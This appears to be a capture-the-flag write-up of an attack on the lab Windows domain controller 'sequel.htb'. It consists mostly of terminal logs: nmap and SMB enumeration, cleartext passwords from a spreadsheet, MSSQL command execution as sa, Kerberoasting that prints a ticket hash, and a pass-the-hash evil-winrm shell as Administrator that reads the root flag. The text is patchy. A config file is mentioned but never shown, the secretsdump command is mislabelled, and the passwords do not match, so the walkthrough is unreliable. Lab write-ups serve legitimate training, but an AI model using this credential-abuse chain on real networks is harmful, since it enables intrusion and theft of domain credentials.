



`nmap -sC -sV 10.10.11.51 -T5`

```
root@V: ~  
nmap -sC -sV 10.10.11.51 -T5  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-04 20:48 IST  
Warnings: 10.10.11.51 giving up on port because retransmission cap hit (2).  
Nmap scan report for 10.10.11.51  
Host is up (0.30s latency).  
Not shown: 987 filtered tcp ports (no-response)  
PORT      STATE SERVICE        VERSION  
53/tcp    open  domain         Simple DNS Plus  
88/tcp    open  kerberos-sec   Microsoft Windows Kerberos (server time: 2025-02-04 15:19:28Z)  
135/tcp   open  msrpc          Microsoft Windows RPC  
139/tcp   open  netbios-ssn    Microsoft Windows netbios-ssn  
389/tcp   open  ldap           Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)  
|_ ssl-date: 2025-02-04T15:20:55+00:00; 0s from scanner time.  
|_ ssl-cert: Subject: commonName=DC01.sequel.htb  
|_ Subject Alternative Name: otherName: 1.3.6.1.4.1.311.25.1:cunnsupported>, DNS:DC01.sequel.htb  
|_ Not valid before: 2024-06-08T17:35:00  
|_ Not valid after: 2025-06-08T17:35:00  
445/tcp   open  microsoft-ds?    
464/tcp   open  kpasswd5?        
593/tcp   open  ncacn_http     Microsoft Windows RPC over HTTP 1.0  
636/tcp   open  ssl/ldap       Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)  
|_ ssl-date: 2025-02-04T15:20:55+00:00; 0s from scanner time.  
|_ ssl-cert: Subject: commonName=DC01.sequel.htb  
|_ Subject Alternative Name: otherName: 1.3.6.1.4.1.311.25.1:cunnsupported>, DNS:DC01.sequel.htb  
|_ Not valid before: 2024-06-08T17:35:00  
|_ Not valid after: 2025-06-08T17:35:00  
1433/tcp  open  ms-sql-s       Microsoft SQL Server 2019 15.00.2000.00; RTM  
|_ ms-sql-info:  
|_   10.10.11.51:1433:  
|_   Version:  
|_     name: Microsoft SQL Server 2019 RTM  
|_     number: 15.00.2000.00  
|_     Product: Microsoft SQL Server 2019  
|_     Service pack level: RTM  
|_     Post-SP patches applied: false  
|_   TCP port: 1433  
|_ ms-sql-ntlm-info:  
|_   10.10.11.51:1433:  
|_   Target Name: SEQUEL  
|_   NetBIOS_Domain_Name: SEQUEL  
|_   NetBIOS_Computer_Name: DC01  
|_   DNS_Domain_Name: sequel.htb  
|_   DNS_Computer_Name: DC01.sequel.htb  
|_   DNS_Tree_Name: sequel.htb  
|_   Product_Version: 10.0.17763  
|_ ssl-date: 2025-02-04T15:20:55+00:00; 0s from scanner time.  
|_ ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback  
|_ Not valid before: 2025-02-04T10:02:19  
|_ Not valid after: 2025-02-04T10:02:19  
3268/tcp  open  ldap           Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)  
|_ ssl-cert: Subject: commonName=DC01.sequel.htb
```

netexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' --users  
netexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' --computers

```
root@V: ~  
msi_tree_name: sequel.ntu  
Product Version: 10.0.17763  
ssl-date: 2025-02-04T15:20:55+00:00; 0s from scanner time.  
ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback  
Not valid before: 2025-02-04T10:02:19  
Not valid after: 2025-02-04T10:02:19  
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)  
ssl-cert: Subject: commonName=DC01.sequel.htb  
Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:cunnsupported, DNS:DC01.sequel.htb  
Not valid before: 2024-06-08T17:35:00  
Not valid after: 2025-06-08T17:35:00  
ssl-date: 2025-02-04T15:20:55+00:00; 0s from scanner time.  
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)  
ssl-cert: Subject: commonName=DC01.sequel.htb  
Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:cunnsupported, DNS:DC01.sequel.htb  
Not valid before: 2024-06-08T17:35:00  
Not valid after: 2025-06-08T17:35:00  
ssl-date: 2025-02-04T15:20:55+00:00; 0s from scanner time.  
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)  
_http-server-header: Microsoft-HTTPAPI/2.0  
_http-title: Not Found  
Service Info: Host: DC01; OS: Windows; CPE: o:microsoft:windows  
  
Host script results:  
_ smb2-time:  
date: 2025-02-04T15:20:18  
_ start_date: N/A  
_ smb2-security-mode:  
3:1:1  
_ Message signing enabled and required  
  
Service detection performed. Please report any incorrect results at https://mmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 133.43 seconds  
  
root@V: ~  
nano /etc/hosts  
  
root@V: ~  
netexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' --users  
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)  
SMB 10.10.11.51 445 DC01 [*] sequel.htb\rose:KxEPkKe6R8su  
SMB 10.10.11.51 445 DC01 -Last PW Set -BadPW -Description-  
Administrator 2024-06-08 16:32:20 0 Built-in account for administering the computer/domain  
Guest 2024-12-25 14:44:53 0 Built-in account for guest access to the computer/domain  
krbtgt 2024-06-08 16:40:23 0 Key Distribution Center Service Account  
michael 2024-06-08 16:47:37 0  
ryan 2024-06-08 16:55:45 0  
oscar 2024-06-08 16:56:36 0  
sql_svc 2024-06-09 07:58:42 0  
rose 2024-12-25 14:44:54 0  
ca_svc 2025-02-04 15:32:28 0  
SMB 10.10.11.51 445 DC01 [*] Enumerated 9 local users: SEQUEL
```

```
root@V: ~  
netexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' --computers  
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)  
SMB 10.10.11.51 445 DC01 [*] sequel.htb\rose:KxEPkKe6R8su  
SMB 10.10.11.51 445 DC01 [*] Enumerated domain computer(s)  
SMB 10.10.11.51 445 DC01 sequel.htb\DC01$  
  
root@V: ~  
smbclient //10.10.11.51/Accounting Department -U SEQUEL.HTB\rose  
Password for [SEQUEL.HTB\rose]:  
Try 'help' to get a list of possible commands.  
smb: > dir  
.  
..  
accounting_2024.xlsx A 10217 Sun Jun 9 15:44:49 2024  
accounts.xlsx A 6780 Sun Jun 9 16:22:07 2024  
  
6367231 blocks of size 4096, 900313 blocks available  
smb: > ls  
.  
..  
accounting_2024.xlsx A 10217 Sun Jun 9 15:44:49 2024  
accounts.xlsx A 6780 Sun Jun 9 16:22:07 2024  
  
6367231 blocks of size 4096, 900313 blocks available  
smb: > SMBecho failed (NT_STATUS_CONNECTION_RESET). The connection is disconnected now  
  
root@V: ~
```

After getting .xlsx we just get into online viewer we have to view account.xlsx file

Jumpshare accounts.xlsx

Your file will expire in 24 hours unless you [sign up](#). [Copy Link](#) [Share](#)

	A	B	C	D	E
1	First Name	Last Name	Email	Username	Password
2	Angela	Martin	angela@sequel.htb	angela	0fwz7Q4mSpurt99
3	Oscar	Martinez	oscar@sequel.htb	oscar	86LXLBMgEWakUnBG
4	Kevin	Malone	kevin@sequel.htb	kevin	Md9WiqLE9bzvDVo
5	NULL	NULL	sa@sequel.htb	sa	MSSQLP@sa@dntf

Analytics

Find out who viewed and downloaded

After trying these, none seem to work except for sa / mssql.  
The database passwords are always a go-to. Let's look there next:

```
root@V: ~  
--x librettfce  
--x netexec mssql 10.10.11.51 -u 'sa' -p 'MSSQLPqssw0rd!' --local-auth --list  
LOW PRIVILEGE MODULES  
[*] mssql_priv Enumerate and exploit MSSQL privileges  
HIGH PRIVILEGE MODULES (requires admin privs)  
[*] empire_exec Uses Empire's RESTful API to generate a launcher for the specified listener and executes it  
[*] met_inject Downloads the Meterpreter stager and injects it into memory  
[*] nanodump Get lsass dump using nanodump and parse the result with pypykatz  
[*] test_connection Pings a host  
[*] web_delivery Kicks off a Metasploit Payload using the exploit/multi/script/web_delivery module  
--x netexec mssql 10.10.11.51 -u 'sa' -p 'MSSQLPqssw0rd!' --local-auth --module mssql_priv  
MSSQL 10.10.11.51 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)  
MSSQL 10.10.11.51 1433 DC01 [*] DC01\sa:MSSQLPqssw0rd! (Pwn3d!)  
MSSQL_PRIV 10.10.11.51 1433 DC01 [*] sa is already a sysadmin  
--x netexec mssql 10.10.11.51 -u 'sa' -p 'MSSQLPqssw0rd!' --local-auth -x "dir C:\Users"  
MSSQL 10.10.11.51 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)  
MSSQL 10.10.11.51 1433 DC01 [*] DC01\sa:MSSQLPqssw0rd! (Pwn3d!)  
MSSQL 10.10.11.51 1433 DC01 [*] Executed command via mssqlexec  
MSSQL 10.10.11.51 1433 DC01 [*] Volume in drive C has no label.  
MSSQL 10.10.11.51 1433 DC01 [*] Volume Serial Number is 3705-289D  
MSSQL 10.10.11.51 1433 DC01 [*] Directory of C:\Windows\system32  
MSSQL 10.10.11.51 1433 DC01 [*] File Not Found  
--x netexec mssql 10.10.11.51 -u 'sa' -p 'MSSQLPqssw0rd!' --local-auth -x "whoami"  
MSSQL 10.10.11.51 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)  
MSSQL 10.10.11.51 1433 DC01 [*] DC01\sa:MSSQLPqssw0rd! (Pwn3d!)  
MSSQL 10.10.11.51 1433 DC01 [*] Executed command via mssqlexec  
MSSQL 10.10.11.51 1433 DC01 [*] sequel\sql_svc  
--x netexec mssql 10.10.11.51 -u 'sa' -p 'MSSQLPqssw0rd!' --local-auth -x "sql_svc"  
MSSQL 10.10.11.51 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)  
MSSQL 10.10.11.51 1433 DC01 [*] DC01\sa:MSSQLPqssw0rd! (Pwn3d!)  
MSSQL 10.10.11.51 1433 DC01 [*] Executed command via mssqlexec  
MSSQL 10.10.11.51 1433 DC01 [*] "sql_svc" is not recognized as an internal or external command,  
operable program or batch file.  
--x netexec mssql 10.10.11.51 -u 'sa' -p 'MSSQLPqssw0rd!' --local-auth -x "dir C:\User"  
MSSQL 10.10.11.51 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)  
MSSQL 10.10.11.51 1433 DC01 [*] DC01\sa:MSSQLPqssw0rd! (Pwn3d!)  
MSSQL 10.10.11.51 1433 DC01 [*] Executed command via mssqlexec  
MSSQL 10.10.11.51 1433 DC01 [*] Volume in drive C has no label.  
MSSQL 10.10.11.51 1433 DC01 [*] Volume Serial Number is 3705-289D  
MSSQL 10.10.11.51 1433 DC01 [*] Directory of C:\  
--x netexec mssql 10.10.11.51 -u 'sa' -p 'MSSQLPqssw0rd!' --local-auth -x "dir C:\Users\ryan\Desktop\user.txt"  
MSSQL 10.10.11.51 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)  
MSSQL 10.10.11.51 1433 DC01 [*] DC01\sa:MSSQLPqssw0rd! (Pwn3d!)  
MSSQL 10.10.11.51 1433 DC01 [*] Executed command via mssqlexec  
MSSQL 10.10.11.51 1433 DC01 [*] Access is denied.  
--x netexec mssql 10.10.11.51 -u 'sa' -p 'MSSQLPqssw0rd!' --local-auth -q "SELECT @@version"  
MSSQL 10.10.11.51 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)  
MSSQL 10.10.11.51 1433 DC01 [*] DC01\sa:MSSQLPqssw0rd! (Pwn3d!)  
MSSQL 10.10.11.51 1433 DC01 [*] Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)  
Sep 24 2019 13:48:23  
Copyright (C) 2019 Microsoft Corporation  
Express Edition (64-bit) on Windows Server 2019 Standard 10.0 <X64> (Build 17763: ) (Hypervisor)
```

I tried to get an easy win for the user flag, but it looks like we cannot access any other user's information with this current privilege.  
I decided to snoop around and see if I can find any config files that the sql\_svc account may have access to, after checking the version with netexec, and then locating the appropriate directory, I found a config file:



```

--(root@v)-~/Downloads/targetedKerberoast
# impacket-secretsdump "10.10.11.51/ryan:Wq5ZAF6CysDQ6Gb3@10.10.11.51"
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[*] DRSR SessionError: code: 0x20f7 - ERROR_DS_ORA_BAD_DM - The distinguished name specified for this replication operation is invalid.
[*] Something went wrong with the DRSUAPI approach. Try again with -use-vss parameter
[*] Cleaning up...

--(root@v)-~/Downloads/targetedKerberoast
# impacket-secretsdump "ryan@sequel.htb/ryan:Wq5ZAF6CysDQ6Gb3@10.10.11.51"
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[-] RemoteOperations failed: SMB SessionError: code: 0xc000006d - STATUS_LOGON_FAILURE - The attempted logon is invalid. This is either due to a bad username or authentication information.
[*] Cleaning up...

--(root@v)-~/Downloads/targetedKerberoast
# python targetedKerberoast.py -d ryan@sequel.htb -u 'ryan' -p 'Wq5ZAF6CysDQ6Gb3'
[*] Starting Kerberoast attacks
[*] Invalid server address

--(root@v)-~/Downloads/targetedKerberoast
# python targetedKerberoast.py -d sequel.htb -u 'ryan' -p 'Wq5ZAF6CysDQ6Gb3'
[*] Starting Kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[*] Printing hash for (sql_svc)
$krbtgs$23$ca_svc$SEQUEL-HTB$sequel.htb/ca_svc$40be4d6d8f02e442e62664c4778f3af5904ab5b242c740e367b096cc04ee07bb3d25884511c8833b216fddeb1e0ca8a715490d5f80f4e1457629d4c8d302be61cb3efba8714cdc71789f248260c3cb695618a6b644a7c4f34d8aba
fd22aa38e5c17b312bc89586f7fcd7234858b2a7fe2679040cccf79ed2463f0a291e3b4d2f3d6fd6c07e09e72917f3fc2d5c79a570e42ef206882eb2b488a51675487ba8b31200fe95a8487d456fe0eeb63f85be536b477228d7d293c0fe6416997f565a6c2e96fcdede5f9385b99cc03958624203
30facfe096a6f63e01de583951f3d6969c08de4f727a3e0e3920f5145b6f3d8c476777aa0be26ff4d0cb128b0d4acef70fca39e95f2a3ced09b0ed3377cacbbdf948796012b0b4aa8e8657a90a3dc8af24be88bc2c06368a7a27d7c3d178bc151071f98509114ed32dda46022977bd8e5d093f875a
95d4462c3addacd2af86b1fcaeb78ce606731853f7835e35238ae4a81f844176c5df9b2bcca48b4ee6d2ee8586b65706c4309c4820495252e793e79a45a2a73c9c9cd15868bd00d1ea879885d6fbc1578bb8fa456f9c5b8e751815fdb708a37a58fee1e370e5d666aeebd1ff60bd74c5637a8738434
40224eac83b062e2ee519a120e22c7f3d6239e439f3a38340022c4f3f161b10292e0981f446c18b0bc89aed0a5f913130a2e8b039563d74c51d837e2bbaa1230c2e6997baf6e0230e6f88991fcca0888eac2b64d97a2ca49d52b67ab0ff5f94944f4f722273ff1434ef07078332f19c735
45ee82986710b1f84c3d2b28ea68118ed0cdde07f1599889f94ad30be32b67f946374c19c0ca0211889781f33b05a8d83328d117241621fa08f8466fa8deabc08f6fffe4abf1dd8f802de27754238c4b00fb1d0dfe9060e46f67c1f4258d8a3f4feda3da3d24ced74e6268f03c3de6b78dc016
5906f51bbbbb70d9f9a591b0f8cf14db7afadd3b83f28fb756d584309dbf932125c3d18b524c9435bf117abf5fec18678a0d6c69fbd334b69eb7e65de9f83183b94cd85de06981846ef8f508cb1b84712db7b72b98b988dd3f7951612d3a53e5136665d4f553f9fec3a07df7493aa1292cce958
883f3c007c0c7e19559651bec7fe8923ae059ea60a88d05ca2eecc1e17783b073710e77dc371c186d10b2577964a5147c8de463f5c08fab24d4bc25891a5b57f35a3e51c67207ff7d852dd72a35e1c67f59040339704b37e57d9a1b401a6974c092f20818cd5df1ebb7850b686874d492

```

```

--(root@v)-~/Downloads/targetedKerberoast
# impacket-secretsdump -action 'write' -rights 'FullControl' -principal 'ryan' -target 'ca_svc' 'sequel.htb'/'ryan':Wq5ZAF6CysDQ6Gb3'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

```

```

--(root@v)-[~]
--> evil-winrm -i 10.10.11.51 -u 'administrator' -H '7a8d4e04986afa8ed400ef79e5a0b3ff'

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
--(evil-winrm) PS C:\Users\Administrator\Documents> cd ..
--(evil-winrm) PS C:\Users\Administrator> whoami
sequelAdministrator
--(evil-winrm) PS C:\Users\Administrator> dir

Directory: C:\Users\Administrator

Mode                LastWriteTime         Length Name
----                -
d-----          1/4/2025   7:58 AM             3D Objects
d-----          1/4/2025   7:58 AM             Contacts
d-----          1/4/2025   7:58 AM             Desktop
d-----          1/4/2025   7:58 AM             Documents
d-----          1/4/2025   8:31 AM             Downloads
d-----          1/4/2025   7:58 AM             Favorites
d-----          1/4/2025   7:58 AM             Links
d-----          1/4/2025   7:58 AM             Music
d-----          1/4/2025   7:58 AM             Pictures
d-----          1/4/2025   7:58 AM             Saved Games
d-----          1/4/2025   7:58 AM             Searches
d-----          1/4/2025   7:58 AM             Videos

--(evil-winrm) PS C:\Users\Administrator> cd Desktop
--(evil-winrm) PS C:\Users\Administrator\Desktop> ls

```

```

Directory: C:\Users\Administrator\Desktop

Mode                LastWriteTime         Length Name
----                -
-a-----          2/4/2025   8:03 AM             34 root.txt

--(evil-winrm) PS C:\Users\Administrator\Desktop> ls
--(evil-winrm) PS C:\Users\Administrator\Desktop> cat root.txt
ba107de47189929c50b79531860b7084
--(evil-winrm) PS C:\Users\Administrator\Desktop>

```